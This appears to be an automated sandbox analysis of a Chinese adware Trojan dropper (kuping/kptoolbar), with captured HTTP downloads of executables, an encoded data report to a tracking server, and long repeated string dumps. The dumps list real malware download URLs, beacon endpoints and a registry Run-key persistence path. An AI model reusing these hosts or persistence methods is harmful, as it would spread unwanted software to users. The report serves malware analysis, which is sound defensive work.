User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: youqian.baidu.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Fri, 06 Jun 2014 03:42:07 GMT
Content-Type: application/octet-stream
Content-Length: 34977744
Last-Modified: Thu, 10 Apr 2014 12:37:04 GMT
Connection: keep-alive
ETag: "53469070-215b7d0"
Accept-Ranges: bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7...7...7....I..7...OT..7...OD..7...7...6....}.:7....|..7....M..7....J..7..Rich.7..........................PE..L......R......................0..N................@...........................W.....sQ....@.................................. 8......pQ.............x...X.....8..R......................................@...........T(8.<............................text...G........................... ..`.rdata..............................@..@.data.....-..@...B...,..............@....idata..6%... 8..&...n..............@....ndata... ...P8..........................rsrc........pQ.....................@..@.reloc...}...0W..~..................@..B.......................................................................................................................................................................................................................................................................a.........%...'.........M...................9..........h...................*...f.........,....g.....(......... ....k....(...9...................UR...p....{..............l.............................n....yd........_....J..............[P...f....a....l.....&........-T.......................$..... ........uI...p....k....6G...!....lI........................?...~;.........N........z....u..............f....A.....t........2.....%....M...C....^e...Y....D...............Q...P.....M....J.............G.......
<<
<<< skipped >>>
GET /Public/Upload/Soft/kptoolbar_b_8.exe HTTP/1.1
Host: img.kuping.cc
Connection: keep-alive
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
HTTP/1.0 200 OK
Server: nginx
Date: Tue, 03 Jun 2014 13:35:25 GMT
Content-Type: application/octet-stream
Content-Length: 3052176
Last-Modified: Fri, 30 May 2014 05:15:29 GMT
Accept-Ranges: bytes
X-Cache: HIT from xnop014-CT-JSNT-40-144.fastcdn.com
F-In-Cache: father-in-cache
Age: 30325
X-Cache: HIT from CT-ZJWZ-152.235.fastcdn.com
Connection: keep-alive
MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........d]TJ.3.J.3.J.3.1.?.N.3..'8.I.3..&*.H.3... .@.3.J.3.M.3.(. .\.3...=.N.3.%.8.I.3.%.9.A.3.%.7.N.3.|#8.M.3.|#7.I.3.J.2.K.3...8.h.3...5.K.3.RichJ.3.........................PE..L......S..................... ......H.............@..................................g/.........................................,.......P3...........t...............................................................................................text............................... ..`.rdata...i.......p..................@..@.data...Xq... ...p... ..............@....rsrc...P3.......@..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
GET /Public/conf/c-lock/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Jun 2014 03:38:57 GMT
Content-Type: text/xml
Content-Length: 1832
Last-Modified: Thu, 05 Jun 2014 03:54:07 GMT
Connection: keep-alive
ETag: "538fe9df-728"
Accept-Ranges: bytes
.h....N..KN ...M..n7.#...!..t[......7....Zh.....].W._..C.S."..V|..#..o....R.R:..R...17.[..F..*>......JK...n7.#....)..vW....B....|.p....1J..S"....].a..:7j[........R.R:..qE.0.J.|.....|.n.0 .%b.......H..~.{..../......:^.K?.e.........`).r...c.....n4[9!V~....~...X{|y....W?.Cqr.Z..........p ..&S!.GB^W=...W...3.z....9:..p..m..Q'G...fBQNgY". ..F...."..v.i....p. ..C|...|../1.k9..^......5n<.r...zh......0.9...J.y........e. M.N.....c.....|F.V.f......F...."..v.i....p. ..C|...|../1.k9..^..X.b.#.......gM.#.....Id...y.&...=...W.....A..(^...P5.:..5..(.<...l.q.....i....Z...e.p.d...F.d.......{Wa..e.b.2....>.k.hA.Q..0..I.S.K.|...RE...@...]......U..L.Jv:..n...gU.......^z..Z..... ..m...=...j.....9..0L=...W...\..N..<.?.. ..o..-. ...[..n7.#......9B........U.r.Zn ...Z0.Q68....lL(/qS.&..?OY..q....[..].....)....q*.uf ...:....`_..9Q./..C.E.~....xE.l...L|w......e. .B|.....}..n.&.iz.v....Hv*y..O...k......i...2z..=.,"....o..=-........."...Y..A}...$.v.[...F...."..v.i....p. ..C|...|../1..<)..z/{N.....j............G..(........F/.l6t?t...C.[.../..E..i..,...i."0...m{0......b0..Z..76.~.......B...B.5$...%{..>2.I..#.y.....e. =g......i.......M.oX....i...2z..=.,".......#=.f..J........n7.#..s...../I...F..j..I...[r(:..TasM.....a.......M....G.:^.3.h_...a9.(.. ....0!.V2.#.........M.|&..#?..W?.Cqr...h ..8.......x=...W...!s.......S.bq...w..2.9.l.o.a......n7.#...0.....M$Z.U...*.@Ei.I..M.!...#..P ...HA...l..s&.B.......<...T.".b......=...W.......4......2.u...D.NV'x[..&h...(6....Hh[e..%...(..py.E..q0.......3=..n_l..W?.Cqr.H....:.@.Z..Cl.
<<
<<< skipped >>>
GET /Public/Upload/Soft/kptoolbar_b_8.exe HTTP/1.1
Host: img.kuping.cc
Connection: keep-alive
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
GET /Public/Upload/Soft/kptoolbar_b_8.exe HTTP/1.1
Host: img.kuping.cc
Connection: keep-alive
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
HTTP/1.0 200 OK
Server: nginx
Date: Tue, 03 Jun 2014 13:35:25 GMT
Content-Type: application/octet-stream
Content-Length: 3052176
Last-Modified: Fri, 30 May 2014 05:15:29 GMT
Accept-Ranges: bytes
X-Cache: HIT from xnop014-CT-JSNT-40-144.fastcdn.com
F-In-Cache: father-in-cache
Age: 30334
X-Cache: HIT from CT-ZJWZ-152.235.fastcdn.com
Connection: keep-alive
MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........d]TJ.3.J.3.J.3.1.?.N.3..'8.I.3..&*.H.3... .@.3.J.3.M.3.(. .\.3...=.N.3.%.8.I.3.%.9.A.3.%.7.N.3.|#8.M.3.|#7.I.3.J.2.K.3...8.h.3...5.K.3.RichJ.3.........................PE..L......S..................... ......H.............@..................................g/.........................................,.......P3...........t...............................................................................................text............................... ..`.rdata...i.......p..................@..@.data...Xq... ...p... ..............@....rsrc...P3.......@..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
GET /download.php/kuping_b_53390.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: d.union.kuping.cc
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Jun 2014 03:38:31 GMT
Content-Type: application/octet-stream
Content-Length: 5072400
Last-Modified: Mon, 12 May 2014 02:03:05 GMT
Connection: keep-alive
ETag: "53702bd9-4d6610"
Accept-Ranges: bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d[TJ.5.J.5.J.5.1.9.N.5..'>.I.5..&,.H.5...&.@.5.J.5.M.5.(.&.\.5...;.N.5.%.>.I.5.%.?.A.5.%.1.N.5.|#>.M.5.|#1.I.5.J.4.H.5...>.h.5...3.K.5.RichJ.5.........PE..L.....TS..................... ....................@.................................B1N.........................................,.......P3...........KM.x............................................................................................text............................... ..`.rdata..,i.......p..................@..@.data...Pq... ...p... ..............@....rsrc...P3.......@..................@..@....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
POST /report/ HTTP/1.1
Host: tj.153624.com
Connection: keep-alive
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length:267
data=ZjMVYVZwiAK6CCJeRTMd8GRRFDSozsFpM0qqQRs1jQk/mCfDjNn/jOhMP3YkgF+Py4XdGkccJqpP6XUfeSGnx6LgpwTcjAFeYsc0Ox/+rd+EYKlhxcfcMyOsKfBrkQYVlPMzUsBlUZ7N7wZcYCq2krolWnI/QhbjfD+X6tPUtaj7d1+VorceohIfyrs3Ph9PIbfbD9HqgjQ=&sgin=b33b377ff9d190a90cd7d40232c83de7
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Jun 2014 03:41:15 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
2..ok..0..
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_1284:
`.rsrc
`.rsrc
w.ALT
w.ALT
t%SVh
t%SVh
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
kernel32.dll
kernel32.dll
wininet.dll
wininet.dll
GetWindowsDirectoryA
GetWindowsDirectoryA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoA
HttpQueryInfoA
taskmgr.exe
taskmgr.exe
%Program Files%
%Program Files%
http://down.21195.com/jm.txt
http://down.21195.com/jm.txt
%Program Files%\
%Program Files%\
http://
http://
surl : '
surl : '
shorturl=
shorturl=
downloadurl
downloadurl
http:\/\/
http:\/\/
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
http=
https
https
HTTP/1.1
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
HTTP/1.1
https://
https://
9(99:;;<==>
9(99:;;<==>
/012345678
/012345678
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
user32.dll
user32.dll
.PAVCException@@
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
(%d-%d):
(%d-%d):
%ld%c
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
HTTP/1.0
%s <%s>
%s <%s>
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÁ
zcÁ
c:\%original file name%.exe
c:\%original file name%.exe
WinExec
WinExec
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
ShellExecuteA
ShellExecuteA
GetKeyState
GetKeyState
CreateDialogIndirectParamA
CreateDialogIndirectParamA
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
InternetCrackUrlA
InternetCrackUrlA
.text
.text
.rdata
.rdata
@.data
@.data
.rsrc
.rsrc
<.rd:
<.rd:
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
comdlg32.dll
comdlg32.dll
GDI32.dll
GDI32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
RASAPI32.dll
RASAPI32.dll
SHELL32.dll
SHELL32.dll
USER32.dll
USER32.dll
WININET.dll
WININET.dll
WINMM.dll
WINMM.dll
WINSPOOL.DRV
WINSPOOL.DRV
WS2_32.dll
WS2_32.dll
(*.*)
(*.*)
%original file name%.exe_1284_rwx_00401000_000BB000:
t%SVh
t%SVh
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
kernel32.dll
kernel32.dll
wininet.dll
wininet.dll
GetWindowsDirectoryA
GetWindowsDirectoryA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoA
HttpQueryInfoA
taskmgr.exe
taskmgr.exe
%Program Files%
%Program Files%
http://down.21195.com/jm.txt
http://down.21195.com/jm.txt
%Program Files%\
%Program Files%\
http://
http://
surl : '
surl : '
shorturl=
shorturl=
downloadurl
downloadurl
http:\/\/
http:\/\/
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
http=
https
https
HTTP/1.1
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
HTTP/1.1
https://
https://
9(99:;;<==>
9(99:;;<==>
/012345678
/012345678
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
user32.dll
user32.dll
.PAVCException@@
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
(%d-%d):
(%d-%d):
%ld%c
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
HTTP/1.0
%s <%s>
%s <%s>
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÁ
zcÁ
c:\%original file name%.exe
c:\%original file name%.exe
WinExec
WinExec
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
GetViewportExtEx
ShellExecuteA
ShellExecuteA
GetKeyState
GetKeyState
CreateDialogIndirectParamA
CreateDialogIndirectParamA
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
InternetCrackUrlA
InternetCrackUrlA
.text
.text
.rdata
.rdata
@.data
@.data
.rsrc
.rsrc
kuping_b_53390.exe_656:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
F=8%D
F=8%D
F%D,3
F%D,3
MFC42.DLL
MFC42.DLL
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
RegEnumKeyExA
RegEnumKeyExA
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyA
RegCreateKeyA
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
MSVCP60.dll
MSVCP60.dll
GdipSetImageAttributesColorKeys
GdipSetImageAttributesColorKeys
gdiplus.dll
gdiplus.dll
NETAPI32.dll
NETAPI32.dll
IMAGEHLP.dll
IMAGEHLP.dll
WS2_32.dll
WS2_32.dll
VERSION.dll
VERSION.dll
MSIMG32.dll
MSIMG32.dll
GDI32.dll
GDI32.dll
COMCTL32.dll
COMCTL32.dll
LZMA.dll
LZMA.dll
_Key_End_
_Key_End_
_Key_Data_
_Key_Data_
_Key_Begin_
_Key_Begin_
Location: %s
Location: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
HTTP/1.1
HTTP/1.1
http://
http://
kernel32.dll
kernel32.dll
%s\%s
%s\%s
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
.PAVCInternetException@@
.PAVCInternetException@@
Range: bytes=%d-%d
Range: bytes=%d-%d
Range: bytes=%d-
Range: bytes=%d-
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Referer: %s
Referer: %s
http://www.wallba.com/
http://www.wallba.com/
Host: %s
Host: %s
GET %s HTTP/1.1
GET %s HTTP/1.1
%s %d
%s %d
%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d
\SystemConfig\setting.ini
\SystemConfig\setting.ini
MsgBox_1.ini
MsgBox_1.ini
%s?id=%s&class=silence
%s?id=%s&class=silence
\softset.ini
\softset.ini
VersionConfig.xml
VersionConfig.xml
version.ini
version.ini
softset.ini
softset.ini
http://www.wallba.com/
http://www.wallba.com/
URLInfoAbout
URLInfoAbout
uninstall.exe
uninstall.exe
Kpclick.ini
Kpclick.ini
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808fj.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808fj.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0809kt.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0809kt.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpg
http://config.wallba.com/Public/Configs/KpInstall/AnImg.xml
http://config.wallba.com/Public/Configs/KpInstall/AnImg.xml
http://tj.153624.com/report/
http://tj.153624.com/report/
skinConfig\TongJICNZZ.dll
skinConfig\TongJICNZZ.dll
http://config.153624.com/Public/conf/c-lock/1/%s_%s/%s.xml
http://config.153624.com/Public/conf/c-lock/1/%s_%s/%s.xml
http://img.wallba.com/Public/Configs/uninstall_end.html
http://img.wallba.com/Public/Configs/uninstall_end.html
http://img.wallba.com/Public/Configs/uninstall_begin.html
http://img.wallba.com/Public/Configs/uninstall_begin.html
http://img.kuping.cc/Public/Configs/v5_install_close.html
http://img.kuping.cc/Public/Configs/v5_install_close.html
http://img.wallba.com/Public/Configs/index.html
http://img.wallba.com/Public/Configs/index.html
http://img.wallba.com/Public/Configs/index2.html
http://img.wallba.com/Public/Configs/index2.html
http://img.wallba.com/Public/Configs/install_end.html
http://img.wallba.com/Public/Configs/install_end.html
http://img.wallba.com/Public/Configs/install_begin.html
http://img.wallba.com/Public/Configs/install_begin.html
/index.php
/index.php
XML_URL_TP
XML_URL_TP
v5.tongji.wallba.com
v5.tongji.wallba.com
downURL
downURL
http://down.shuyeer.net/kptoolbar/kptoolbar_b_50.exe
http://down.shuyeer.net/kptoolbar/kptoolbar_b_50.exe
KPToolBarSilence.exe
KPToolBarSilence.exe
UniversalMini.exe
UniversalMini.exe
KP4Mini.exe
KP4Mini.exe
Kp_BootClr.exe
Kp_BootClr.exe
soft.exe
soft.exe
installedSoftInfo.ini
installedSoftInfo.ini
.kptheme
.kptheme
.kpscr
.kpscr
.kplgui
.kplgui
.kpicon
.kpicon
.kpcur
.kpcur
.kprar
.kprar
%s\%s,%d
%s\%s,%d
%s\KpInstallTheme.exe
%s\KpInstallTheme.exe
%s %%1
%s %%1
%s\Shell\Open\Command
%s\Shell\Open\Command
%s\Shell
%s\Shell
%s\DefaultIcon
%s\DefaultIcon
http://int.dpool.sina.com.cn/iplookup/iplookup.php
http://int.dpool.sina.com.cn/iplookup/iplookup.php
QueryInterface failed! ctrl: %d
QueryInterface failed! ctrl: %d
Can't find the ctrl: %d
Can't find the ctrl: %d
skinconfig.ini
skinconfig.ini
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0628597greek81201258windows-1258
0628597greek81201258windows-1258
1201257windows-12570738598logical
1201257windows-12570738598logical
1201256windows-12560651932euc-jp
1201256windows-12560651932euc-jp
1201255windows-1255
1201255windows-1255
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801250x-cp12501201252windows-1252
0801250x-cp12501201252windows-1252
1201251windows-12511528598iso_8859-8:1988
1201251windows-12511528598iso_8859-8:1988
1201250windows-12502301149x-ebcdic-icelandic-euro
1201250windows-12502301149x-ebcdic-icelandic-euro
1150220iso-2022-jp1100874windows-874
1150220iso-2022-jp1100874windows-874
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
http-equiv
http-equiv
<>=\/?!"';
<>=\/?!"';
(%d nulls removed)
(%d nulls removed)
length %d
length %d
to length %d
to length %d
to %d bytes
to %d bytes
CWebBrowser2
CWebBrowser2
colorkey
colorkey
isshow
isshow
layer_%d
layer_%d
dddddd
dddddd
walla.com,
walla.com,
@.reloc
@.reloc
GetProcessWindowStation
GetProcessWindowStation
GetCPInfo
GetCPInfo
<*=0=4=8=<=
<*=0=4=8=<=
<(<(=-=?=
<(<(=-=?=
mscoree.dll
mscoree.dll
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
KERNEL32.DLL
KERNEL32.DLL
WUSER32.DLL
WUSER32.DLL
{8856F961-340A-11D0-A96B-00C04FD705A2}
{8856F961-340A-11D0-A96B-00C04FD705A2}
(*.*)
(*.*)
1.1.1,1
1.1.1,1
InStaller.EXE
InStaller.EXE
KPToolBar.exe_1752:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
F SSh&
F SSh&
UDPj
UDPj
@ SShX
@ SShX
unzip 0.18 Copyright 1998-2002 Gilles Vollant - http://www.winimage.com/zLibDll
unzip 0.18 Copyright 1998-2002 Gilles Vollant - http://www.winimage.com/zLibDll
1.1.4
1.1.4
inflate 1.1.4 Copyright 1995-2002 Mark Adler
inflate 1.1.4 Copyright 1995-2002 Mark Adler
MFC42.DLL
MFC42.DLL
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
KERNEL32.dll
KERNEL32.dll
RegisterHotKey
RegisterHotKey
UnregisterHotKey
UnregisterHotKey
USER32.dll
USER32.dll
RegCloseKey
RegCloseKey
RegCreateKeyA
RegCreateKeyA
RegOpenKeyExA
RegOpenKeyExA
RegOpenKeyA
RegOpenKeyA
RegQueryInfoKeyA
RegQueryInfoKeyA
RegDeleteKeyA
